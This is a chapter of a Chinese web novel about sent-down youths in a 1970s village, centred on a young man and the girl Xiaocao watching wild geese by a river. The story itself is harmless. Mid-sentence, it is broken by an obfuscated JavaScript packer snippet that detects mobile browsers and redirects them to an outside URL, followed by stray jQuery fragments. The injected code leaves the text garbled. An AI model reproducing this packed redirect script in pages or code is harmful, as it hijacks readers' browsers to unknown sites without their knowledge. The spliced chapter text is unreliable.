默认冷灰
24号文字
方正启体

21. 21

作者:明蟾本书字数:K更新时间:
    “梁知青,周知青呢?我听村里人说,你们两个一起回来的,想着你们两个肯定来不及做饭,所以我和柳晴来给你俩送点。”林月娥浅笑说道。


    “是啊,梁知青这是给你的。”柳晴也适时地说话,顺便将手里的饭盒递给梁沛沣。


    梁沛沣连忙拒绝,“这就不用了,周知青没在家,我自己也吃完了,怕是要辜负你俩的好意。”


    “这饭,你俩还是自己拿回去吃吧。”


    林月娥也就算了,柳晴又来凑啥热闹。


    柳晴和林月娥脸色僵了僵,互相对视一眼,并不打算离开。


    林月娥委屈地问道,“梁知青,你们是不是嫌弃我俩?”


    “啊?”梁沛沣愣住,“没有。”


    他好端端地嫌弃她们干嘛,顶多就是有点不喜欢而已。


    林月娥笑了,“那不嫌弃我们,这饭你就收下吧。”


    梁沛沣,“.....”


    不收就是嫌弃,不嫌弃就要收。


    早知道,他应该把话说明白的。


    柳晴,“梁知青,这可是我特意给你做的,去镇上现买的肉,我自己都没舍得吃,你就收下吧。”


    梁沛沣头皮发麻,“你自己没舍得吃,那更应该拿回去吃,苛待谁也不能苛待自己啊。”


    “我就不需要了。”


    “对了,周知青腿都好了,你也后也别来送饭,我俩会做,快回去吧,让人看到影响不好。”他匆匆说完,便开门进屋,甚至还特意拽了一下屋门。


    “哎哎哎,你别走啊....”林月娥一着急,嗓音都变得尖利起来。


    “梁知青,你不要林月娥的,你不能不要我的啊,这可是红烧肉!”柳晴扯着嗓子喊道。


    回应两人的是关严的屋门。


    两人不甘地瞪着屋门,到底是脸皮博没有去拽开。


    “不知好赖,这可是红烧肉,你不吃我吃!”柳晴气愤地说了一句,当即打开饭盒吃起来。


    这红烧肉可是她斥巨资从镇上国营饭店买的,他居然还嫌弃!


    男人果然就不能太惯着,下次她也学林月娥亲手做。


    林月娥看柳晴当场吃起来,恨铁不成钢地说道,“你就知道吃,你还想不想嫁给梁沛沣了?”


    柳晴白她一眼,“我倒是想,那不也得人家愿意,光我一头热有啥用。”


    林月娥,“你努力啊,咱俩一起努力,那些村里人比不上咱俩的。”


    两人下乡已经四五年了,眼看着回城无望,年龄越拖越大,嫁给村里人,她们是万万不愿意的。


    一合计就看上梁沛沣和周修南这两个男知青。


    至于另外一个没什么存在感的杨知青,两人是一点都不会考虑的。


    柳晴点头,“嗯,吃饱饭,更有力气追人。”


    林月娥看柳晴吃得这么香,嘴里直冒口水,“你...你咋就光一个人吃,也给我吃两口呗。”


    “你看找男人我都带着你,你吃肉不也得带着我。”


    柳晴想想也是,“只能给你一块。”


    说一块就一块,直到知青点,她也没再给林月娥一块。


    林月娥说柳晴,“你真抠!”


    梁沛沣这边进屋时已经整理好情绪,对炕上等着自己的两人说道,“吃吧,我把她们打发走了。”


    周修南问道,“我看那个柳晴也过来了?她来干啥?”


    梁沛沣镇定自若地回道,“她和林月娥一起来送饭。”


    ......


    “你今儿个要去钓鱼吧,我跟你一起。”梁沛沣对汪奇说。


    说完,他又叮嘱周修南,“你腿上的伤还没有彻底好,不要下地,也不要上山闲逛,要是再跌倒被林月娥救了,你知道后果的。”


    周修南打了一个激灵,连连保证,“你放心吧,我肯定不出去!”


    “但是,你俩也得早点回来,别忘了我还需要吃饭呢!”


    梁沛沣点头,“知道了。”


    周修南又说,“你俩走时把大门锁上,可千万别让林月娥进来。”


    梁沛沣保证,“你放心,我肯定把大门锁上。”


    汪奇带着梁沛沣走上大坝,走向河边。


    今天河边如往常一样,没什么人,但汪奇并不觉得孤独。


    因为有梁沛沣。


    两人一起坐在汪奇经常钓鱼的那块地方,河边的沙子被太阳晒得热热的,坐下时很舒服。


    梁沛沣看着汪奇熟练地展开鱼线,在末尾的铁丝弯钩上串了两条蚯蚓。


    “这是你自己做的鱼钩?”梁沛沣不会钓鱼,也没看过汪奇怎么钓鱼。


    这是他第一次看汪奇钓鱼,很是好奇,“这铁丝看着挺软,能结实吗?”


    汪奇点头,“它很结实。”


    都能穿透鞋底扎伤她的脚,自然很结实。


    她将鱼线甩进满是水草的河底,便拿出本子和笔准备画画。


    梁沛沣问道,“怎么不用我给你的画纸?”


    汪奇说,“不方便拿到这里,我怕弄湿。”


    梁沛沣送来的画纸,她都留着在山上用。


    梁沛沣笑笑,“湿就湿呗,别担心,我再给你弄来一些。”


    他又问,“你那些鱼都是在这里画的吧。”


    汪奇点头,“鱼和大雁都是在这里。”


    “大雁?”梁沛沣惊讶。


    他好奇地看向四周,像是在寻找大雁的身影。


    汪奇抬手指向右方,“那里。那里有一片草甸子,大雁就在那里生活。”


    梁沛沣朝那个方向看去,在河面看到一些黑色的小点,并不能辨认出来是大雁,只能看出是一种水里游的动物,跟野鸭子一样。


    汪奇像是知道他看不清,翻动手里的本子,翻到某页时停下,递给梁沛沣,“喏,这就是大雁。”


    梁沛沣拿过本子,本子上画着一种长得很像大鹅的动物。


    “这就是大雁?”他惊讶不已,这不就是村里人养的大鹅嘛。


    汪奇点头,“国内的大鹅就是鸿雁驯化的,鸿雁是家鹅的祖先,它们确实很像。”


    梁沛沣笑笑,“不是一星半点的像。”


    他低头看着本子上的画,在这只鸿雁旁边,还有一些单独的羽毛图像以及骨头架子的图像。


    羽毛旁边标注的是:鸿雁的初级飞羽,长42.2厘米,羽干为白色,毛片为灰褐色,飞行时力量的核心。


    骨头架子旁边也是一排的标注。


    梁沛沣认真地读完,又翻到下一页,下一页则是鸿雁的幼崽描述,第一句话就是鸿雁的幼崽出生时便绒毛覆身。


    接下来的几张都是鸿雁幼崽的各阶段形态,文字详细的描述了鸿雁幼崽长大的过程。


    河边很安静,风在水面荡出一圈圈的涟漪,汪奇在一旁作画,梁沛沣在翻看着她的画作,岁月静好。


    翻看完所有鸿雁的图像,梁沛沣感觉自己像是亲眼见证了鸿雁从出生到老去的一生。


    他在鸿雁篇的最后一页看到一句话:孤雁悲鸣是在对家人的哀悼与呼唤。


    小草是如此的了不起!


    她了解鸿雁超过这里的所有人,甚至超过外面的大部分人。


    梁沛沣的震撼无法用语言形容,从心底对小草油然而生一股敬佩。


    世界上当然不缺研究生态的学者,但仅凭一些鸟类和鱼的基本生物图册,便探索出这些的小草,实在是让人惊讶。


    梁沛沣想小草大概不知道,她对这片土地的观察,随手画出来的这些东西,会对外界产生怎样的影响。


    他转头看向安静作画的汪奇,看着她画出一条鱼,是她已经画了很多遍的鲤鱼。


    他没有打扰她。


    等她画完,一抬头才发现梁沛沣在看自己,她的眼睛对上他的眼睛,空气似乎都静止了。


    梁沛沣快速移开视线,脸色通红,不知是被晒的还是什么原因。


    汪奇却还在看着他,眼睛黑亮,“你在看什么?”


    梁沛沣摸摸鼻子,“没啥,看你画鱼,很好看。”


    也许是今天手气不好,好久都没有钓上来鱼。


    汪奇索性收起鱼竿,对梁沛沣发起邀请,“要跟我一起去看大雁吗?”


    这是小草第二次对他发出邀请,每一次都让他很高兴。


    “好啊。”梁沛沣笑着答应。


    汪奇将鱼线卷在鱼竿上,拎起木桶,从地上站起来,“草甸子距离这里比较远,要走好久的路。”


    她没有船,要是有船横过河面,会近很多。


    两人需要从上游河面较窄的地方走木桥过去。


    木桥年头有些长,走在上边吱嘎吱嘎地响。


    两人的影子倒影在水面上,彼此缠着。


    过了桥,又走一段距离,汪奇停下指着对岸跟梁沛沣说,“我们之前就在那里钓鱼。”


    梁沛沣回望,河面太宽,对面一片光秃秃的,根本分辨不出什么。


    汪奇看他一眼说,“往前一百米河水分出一支,河面更宽了。”


    梁沛沣糊里糊涂地听着,对于河水什么也不懂。


    但他知道小草说得是对的。


    两人继续往前走,身旁多了一道沉沉的脚步声,往日漫长的路,今天汪奇却感觉太短。


    “到了。”她停下来,看向前方长着芦苇与香蒲的一片草地对梁沛沣说。


    梁沛沣没说话,只是静静看向这一片草地,心里是前所未有的轻松。


    他转头看向汪奇,眼底带着柔情,“这里很美。”


    “我们去那边,那边是干的。”汪奇带着梁沛沣继续往前走。


    芦苇和香蒲都是水生植物,有它们的地方,都有水,不能过去。


    苔草长在泥地里,那些地看着是干的,但一踩下去就会冒出水来,底下的土都是松软的,很危险。


    汪奇严肃地看着梁沛沣,“跟紧我。”


    她将鱼竿的一端递给梁沛沣,“抓紧。”


    梁沛沣像是一个蹒跚学步的小孩,踩着汪奇的脚印往前走。


    当来到一片开满五颜六色的小花的草场,脚下的土虽然还是很湿润,但不会让人陷下去时,汪奇开口,“就是这里。”


    她指着前方,“那里就能看到大雁。”


    梁沛沣望过去,看到了一只羽毛是褐色和白色,嘴巴是黑色的大雁。


    它飘在水上,背上驮着五六只小雁,那些小雁,羽毛是膨胀的黄褐色,在妈妈的背上闭着眼睛,享受着日光。


    汪奇轻声道,“很温馨吧。”


    梁沛沣点头,“旁边的那只是雁爸爸吗?”


    汪奇,“是,大雁是以家庭组合在一起的,是一夫一妻,双方共同抚养照顾自己的幼崽。”


    梁沛沣心念微动,好像突然就理解她为什么喜欢观察大雁。


    她在大雁的身上看到了父母对子女的爱,或者还有一些其他的东西。


    两人离得很近,但又没有达到紧挨着的地步,但汪奇感觉,他们之间的距离在一点点消失。


    她很好奇,梁沛沣也有这种感觉吗?


    汪奇忍不住靠得更近一些,却突然感到胃猛地一抽,疼得她瞬间变了脸色。


    她从来没有胃疼过,即使吃不饱,那时顶多是在鸣叫。


    汪奇捂着肚子,尽量忍着,自己正在和梁沛沣一起看大雁,就算要疼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17097073|195667||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也不应该是在这个时候。


    她想多跟他待一会儿。


    疼痛突然加剧,似乎又转移到肚子上,好像有什么东西在她的肚子里下坠。


    梁沛沣立即注意到汪奇的状态,紧张地问道,“你咋了?哪里不舒服,你的脸怎么突然变得这么难看。”


    “我想我们或许可以改天再来看大雁。”汪奇轻声道,“我的胃有点难受,或者是肚子,我说不准。”


    “我觉得我吃坏了东西。”


    梁沛沣不动了,视线看向远处的大雁,脚轻轻摩擦草地,“那个...那个,你大概也许不是吃坏东西。”


    汪奇看他,“你知道?”


    梁沛沣仿佛被远处的水面晃到眼睛,闭了闭眼快速说道,“我之前给你的生物书你看过了吧,那上面说女孩子到了一定年纪就会就会来....”


    他不好意思说,在将书送给她之前,鬼使神差地也看过上面的内容。


    所以,听着她的描述,他才会做出这样的分析。


    梁沛沣飞快地看眼汪奇,褐色的脸颊红了一片。


    汪奇低下头,红色从脸颊蔓延到脖子上。


    她是不知道这些事,前世自己死在十五岁,奶奶在她死前已经去世三年,还没来得及教她。


    不过,汪奇看过梁沛沣带来的那本书,知道他说的是什么。


    她来月经了,从这一刻开始,自己由女孩变成女人。


    可是,这件事不是发生在隐秘的室内,不是在自己的房间,而是在草甸子上,在梁沛沣的眼前。


    汪奇心底被羞耻淹没,面色却微微泛白,眼神里似乎还多了点别的。


    她会流血,会不会像奶奶一样流血流死。


    “别担心,这是每个女孩都会经历的。”梁沛沣安慰她,“我背....如果你不介意,我可以抱你回家。”


    这里离村子太远,她大概不方便走回去。


    汪奇脸色又瞬间爆红,低着头不说话。


    “走吧。”梁沛沣叫她。


    汪奇站起身,对他说,“我可以自己走。”


    肚子上的疼痛仿佛要把她从中间劈成两半。


    两人快速往村子走,梁沛沣帮汪奇拿着鱼竿和木桶,在天彻底黑下来的时候,他们回到了村子。


    梁沛沣在远处目送着汪奇走进汪家院子,如同以往那样。


    不同的是,今天的汪奇知道他在,并转身朝他挥手,但眼睛却没有看他。


    他想,她大概还在害羞。


    自己又何尝不是一样呢。


    梁沛沣回到自己的院子,周修南听到声音一瘸一拐地从自己的房间走出来,问道,“咋就你一个人?小草呢?”


    梁沛沣说,“小草有事儿,今晚不能过来,我负责做饭。”


    周修南关心地问道,“啥事儿啊?需不需要我们帮忙?”


    梁沛沣摇头,“不用。”


    夜色太黑,周修南没有看到他微红的脸。


    周修南又转而说起别的,“你今天锁大门是锁对了,你俩走之后,知青点那俩果然又来了,见大门锁着才没进来。”


    “要不然,说不定你现在都见不到我了。”


    梁沛沣笑问,“林月娥还能吃了你不成?”


    周修南夸张地点头,“悬!”


    没有小草掌勺,两人晚上糊弄一顿白菜土豆。


    汪奇没有去找任何人,凭着自己学过的知识,以及在奶奶那里偶尔听到的话,独自捣鼓了一晚上,搞定了这件事。


    第二天身体依旧不是很舒服,她起来的晚一些。


    等到太阳挂到南边的时候,她才前往北山。


    已经两天没有去菜园子,那些菜也不知道咋样了。


    汪奇到的时候,小麻雀正在园子里啄柿子。


    柿子不过是刚拉红线,还没有完全成熟,小麻雀就已经等不及。


    她将麻雀赶走,又摘下那颗被啄坏的柿子,将它扔到远处,方便林子里的鸟或者其他动物啄食。


    今天,她没心情画画,只好看书。


    可没看多久,林子就又来了不速之客。


    声音很大,同上次不一样。


    汪奇跟过去,视线定睛在那个为首的少年身上。


    是他。


    小鸡被啄死那晚,追她的人。


    她又一一看向他身旁的三人,最后确定,那晚就是他们四个。


    “你行不行啊?连个鸟你都打不着,真是完犊子!”


    “我不行你行啊!”


    “你给我打一个我看看!”


    他们吵起来,汪奇看到他们手里都有弹弓。


    话落,有人拿起弹弓抬头瞄准树上。


    汪奇顺着他的视线看过去,他瞄准的是树干上的一个树洞。


    树洞的位置在那颗杨树的半截腰,洞口不大,停着一只大概十多厘米的蓝灰色小鸟。


    那是蓝大胆,一种会发出很多种悦耳声音,亲人的鸟类。


    她从前也打鸟吃,但是自从她领粮,有了稳定的收入之后就再也没打过鸟。


    汪奇盯着那四个少年,他们的手上没有拎着鸟,但是这一路,他们说不定打了多少鸟。


    他们言语昭示着他们只是把打鸟当做一项娱乐活动。


    她拿出自己的弹弓,裹上石头,瞄准那个少年,顾不得暴露的风险,比他更快出手。


    石子咻地一声打在少年的手臂上。


    少年惨叫一声,扔掉手里的弹弓,捂着手臂朝汪奇所在的方向看去。


    树上的蓝大胆似乎也被吓到,发出急促的derder声。


    另外三个少年也看向汪奇,“是那个哑巴!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)